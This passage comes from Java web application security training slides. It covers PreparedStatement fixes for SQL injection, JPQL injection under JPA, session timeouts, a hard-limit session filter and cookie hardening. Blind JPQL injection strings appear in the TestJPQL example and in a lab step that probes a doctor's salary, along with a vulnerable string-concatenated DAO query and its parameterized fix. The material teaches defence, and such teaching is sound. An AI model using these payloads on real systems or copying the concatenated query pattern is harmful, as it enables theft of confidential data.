5. Boo! Hiss. Change the declaration of stmt so it’s a 

PreparedStatement: 
PreparedStatement stmt = null; 
 
6. Instead of createStatement, prepare a statement with most of the 

query logic already defined: 
stmt = conn.prepareStatement  
  ("select roles.rolename from users " + 
   "inner join roles on " + 
     "users.username = roles.username " + 
   "where users.username=? and users.password=?"); 
 
7. Set the parameters: 
stmt.setString (1, username); 
stmt.setString (2, password); 
 
8. Save the source file and rebuild. Test again, and you’ll see the 

injection attack gets nowhere. 

DEMO 
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The Java Persistence API 

 Another solid strategy against SQL injection is to use 
object/relational mapping tools, which are highly 
structured in the way that they model and eventually generate 
SQL. 

 The Java Persistence API establishes a standard contract for 
ORMs so that application code can use such a tool without 
getting locked in to its proprietary API and configuration style. 

 JPA is to ORM provider as JDBC is to database/driver vendor. 

 Beware of creating new problems by using JPA, however: 

 For one thing, there is no requirement in the JPA specification 
that a provider use PreparedStatement or any similar 
mechanism to avoid SQL injection. 

 Major providers do use PreparedStatement, but this is just their 
good practice, and not a matter of standards compliance. 

 Also, JPA defines its own, object-oriented query language, 
known as JPQL – and this opens up a new syntax for injection 
attacks! 

 JPA offers the same duality of techniques for JPQL as JDBC does 
for SQL: one can build strings and have them interpreted, or use 
replaceable parameters to a pre-compiled query. 

 Follow the same practices with JPA as you should with JDBC, 
which is to say always take advantage of replaceable parameters. 

 Otherwise, you’ll be vulnerable to – yep – JPQL injection. 
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JPQL Injection 

 Not all injection attacks force a successful login or expose 
information directly to a response page. 

 Anywhere that an injectable language is used and different 
results are presented to the user based on the results of a query, 
injection can be used to ferret out information. 

 There is a latent vulnerability in Health_Step6 to JPQL 
injection attacks. 

 To get an idea of the problem, fire up the application, logging in 
as anyone – perhaps pacosta/alvin. 

 Click the link to change the user profile. 

 Now, try to change the username to “burgess” – which we know 
is already taken. 

 

 Go back, and change to just “acosta” – success: 

 

 Close the browser. 

EXAMPLE 
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JPQL Injection 

 Now, as it happens, the DAO for this application uses JPQL. If 
we figured that out, and made some good guesses about how 
the JPQL query for whether a username was or was not already 
taken, maybe we could come up with an injection string. 

 This is tough work, to say the least; but a dedicated hacker will take 
the time to break into the system if the payoff is high enough. 

 Now take a look at src/cc/health/admin/TestJPQL.java, 
which tries a query to see if a username is taken, but in various 
ways. 

 The base query string is: 
final String query = "select p.firstName " + 
  "from Person p where p.username = ?1"; 
 

 It’s parameterized three different ways: 

 With a normal username 

 With an injection string that goes fishing for other information 
entirely – and once with a bad guess, and once with a good guess: 

final String wrongIdea = "' or exists " + 
  "(select e from Event e " + 
  "where e.subject.person.lastName = 'Frazier' " + 
    "and e.what = 'Scurvy') and 'x' = 'x"; 
 
final String rightIdea = "' or exists " +  
  "(select e from Event e " + 
  "where e.subject.person.lastName = 'Frazier' " + 
    "and e.what = 'Excema') and 'x' = 'x"; 
 

 The injected sub-queries take advantage of the outer query as a 
vehicle for their own, unrelated, true/false questions. 

EXAMPLE 
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JPQL Injection 

 The resulting JPQL once this “username” is substituted might be: 
select p.firstName from Person p  
where p.username = ''  
      or exists  
       (select e from Event e  
        where e.subject.person.lastName = 'Frazier'  
          and e.what = 'Scurvy') 
      and 'x' = 'x'; 
 

 ... and this will give either a count of all users or zero, depending 
entirely on whether the sub-query gets any results. 

 The application then fires off all three queries – normal, 
unsuccessful hack, and successful hack – but by two different 
approaches: 

 By string building, which we can guess is going to end badly ... 
Query querySB1 = em.createQuery  
  (query.replace ("?1", "'" + parameter1 + "'")); 
 

 ... and using query parameters, as it should do: 
Query queryPR1 = em.createQuery  
  (query).setParameter (1, parameter1); 

EXAMPLE 
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JPQL Injection 

 Test this application, and see proof of the potential of a JPQL 
injection attack: 

String-building: 
Good results: 1 
Snooping results (wrong idea): 0 
Snooping results (right idea): 52 
 
Parameter replacement: 
Good results: 1 
Snooping results (wrong idea): 0 
Snooping results (right idea): 0 
 

 The normal query, with a valid username, works in both cases. 

 The fishing expeditions turn up different results when built using 
normal string-building – and thus a hacker could read 
information from the database that should be confidential. 

 But when we use JPQL parameters, neither of the maliciously-
authored queries gets anything – so that same hacker would learn 
nothing. 

 How could we use this approach to derive interesting 
information from the Health application? 

EXAMPLE 
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JPQL Injection 

 Log in again, this time as church/hEoTpEeRsNpArLings. 

 Let’s say Dr. Jami Church is jealous of another doctor in the 
practice, and thinks he makes too much money. 

 Go to the profile page again, and try the following string for a new 
username: 

' or exists (select d.id from Doctor d where 
d.person.lastName = 'Travis' and d.salary > 150000) 
and 'x' = 'x 
 

 

 Go back and try another: 
' or exists (select d.id from Doctor d where 
d.person.lastName = 'Travis' and d.salary > 175000) 
and 'x' = 'x 
 

 

 So we know that the doctor’s salary is between $150k and 
$175k, and with patience we could nail it down to the dollar. 

EXAMPLE 
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JPQL Injection 

 This vulnerability is fixed in a number of ways in the next step 
of the application, Health_Step7. 

 The cc.health.dao.DAO class changes the code in 
isUserNameInUse from this ... 

List<String> IDs = queryList  
  ("select p.id from Person p " + 
   "where p.username = '" + username + "'",  
     String.class); 
 

 ... to this: 
EntityManager mgr = emf.createEntityManager(); 
List<String> IDs = queryList (mgr, mgr.createQuery  
 ("select p.id from Person p where p.username = ?1") 
  .setParameter (1, username), String.class); 
 

 Also, Health_Step7 is the answer set to a lab in the upcoming 
chapter on input validation, in which you’ll impose a number of 
validation constraints on usernames. 

 These will make it impossible to inject such complex queries in the 
first place – defense in depth once again. 

EXAMPLE 
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Session Timeouts 

 Even with good session management from the container, HTTP 
sessions are not impenetrable. 

 Any session key can be cracked eventually. 

 We’ve seen CSRF attacks, which are effective regardless of the 
session implementation. (They can even work against HTTPS.) 

 So it’s a good idea to take steps to keep sessions from hanging 
around longer than necessary. 

 Provide users with an easy logout option so that they can 
terminate sessions themselves. 

 Terminate sessions after a certain period of inactivity, when 
users don’t explicitly log out. Most servers will do this for you; just 
configure the timeout period. 

 Set hard limits on session duration, meaning that the session will 
never stay open beyond that time, no matter whether it’s active or 
not. This must be done programmatically. 
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Inactivity Timeouts 

 Inactivity timeouts can be configured in a portable fashion, in 
web.xml: 

<session-config> 
  <session-timeout>10</session-timeout> 
</session-config> 
 

 The <session-timeout> value is expressed in minutes. 

 Of course, a shorter timeout is more secure but may be 
inconvenient to the user; conversely you may set long timeouts to 
allow for extended sessions with a low-risk application. 

 You can even defeat the timeout feature altogether: 
<session-config> 
  <session-timeout>-1</session-timeout> 
</session-config> 
 

 ... but this is not recommended, both for security and performance 
reasons. 

 The timeout interval can also be set programmatically, by 
calling setMaxInactiveInterval on the session object: 

session.setMaxInactiveInterval (300); 
 

 Here, the argument expresses the interval in seconds, not 
minutes. 

 Again, a negative value disables the inactivity timeout completely. 

EXAMPLE 
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Hard Limits 

 Absolute limits on session duration must be managed entirely 
from application code. 

 On each request, check the current time against the session startup 
time; if the duration is too great, invalidate the session. 

public HardLimitFilter 
  implements Filter 
{ 
  ... 
  public void doFilter (ServletRequest request, 
      ServletResponse response, FilterChain chain) 
    throws ServletException 
  { 
    HttpServletRequest realRequest = 
      (HttpServletRequest) request; 
    HttpSession session = realRequest.getSession (); 
 
    long now = System.currentTimeMillis (); 
    long then = session.getCreationTime (); 
    if (now – then > MAX_SESSION_MINUTES * 60000) 
    { 
      session.invalidate (); 
      realRequest 
        .getRequestDispatcher ("timeout.html") 
        .forward (request, response); 
    } 
    else 
      chain.doFilter (request, response); 
  } 
} 
 

EXAMPLE 
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Taking Care of Cookies 

 Since cookies aren’t seen by the casual user, it’s easy to start 
thinking of them as essentially hidden values. 

 But cookies can be compromised. 

 Any user can see all the cookies your application sets, usually by 
working through some simple dialog boxes in their browser. 

 Cookies can be intercepted in transmission. 

 Use cookies as necessary for your application’s design, but take 
steps to minimize their exposure to attackers: 

 Set the path for which subsequent requests should carry the 
cookie in their headers. 

 Set the maximum age of the cookie to a reasonable value. 

 Use the secure flag to insist that a cookie only be sent over a 
confidential protocol such as HTTPS. 

 Consider the httpOnly flag, which prevents client-side scripts 
from reading or manipulating cookies. 

 Encrypt the value of a cookie so that it is opaque even as stored on 
the client machine. 
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SUMMARY 

 By now it’s clear that the problem of web application security 
is as complex and wide-ranging as the myriad attack vectors 
that have been discovered by hackers and security 
professionals. 

 There is no such thing as a 100% secure application. 

 But a relatively small, knowable list of best practices can go a 
long way for any business application. 

 Don’t use sequences or system clocks when real, un-guessable 
random numbers are called for. 

 Remember to perform output escaping on all dynamic values – 
especially those that are derived in any way from un-trusted inputs, 
but really all dynamic outputs deserve this protection. 

 Use PreparedStatement and the like, performing parameter 
replacement only after the structure of a query is fixed. 

 Use anti-CSRF tokens when redirecting and expecting return 
redirects from partner applications. 

 CSRF through tabbed browsing is a different animal from 
the rest of the hacks we’ve seen in this chapter.:  

 It’s not just a matter of vigilance and a painless countermeasure. 

 Real protection requires real effort! and you will need to assess risks 
and decide how much you’re willing to invest in being completely 
safe. 


